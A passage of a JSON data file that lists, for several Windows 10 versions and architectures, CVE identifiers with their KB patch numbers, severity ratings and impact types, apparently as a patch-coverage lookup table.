Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for 32-bit Systems":[{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for ARM64-based Systems":[{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for x64-based Systems":[{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"}],"Windows 10 Version 21H1 for 32-bit Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H1 for ARM64-based Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H1 for x64-based Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H2 for 32-bit Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 21H2 for ARM64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 21H2 for x64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for 32-bit Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for ARM64-based Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for x64-based Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 for 32-bit Systems":[{"cve":"CVE-2015-2433","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3081444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135174","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135174","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140745","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147461","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192440","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4042895","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4042895","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048956","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053581","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022727","severity":"Important","impact":"Information 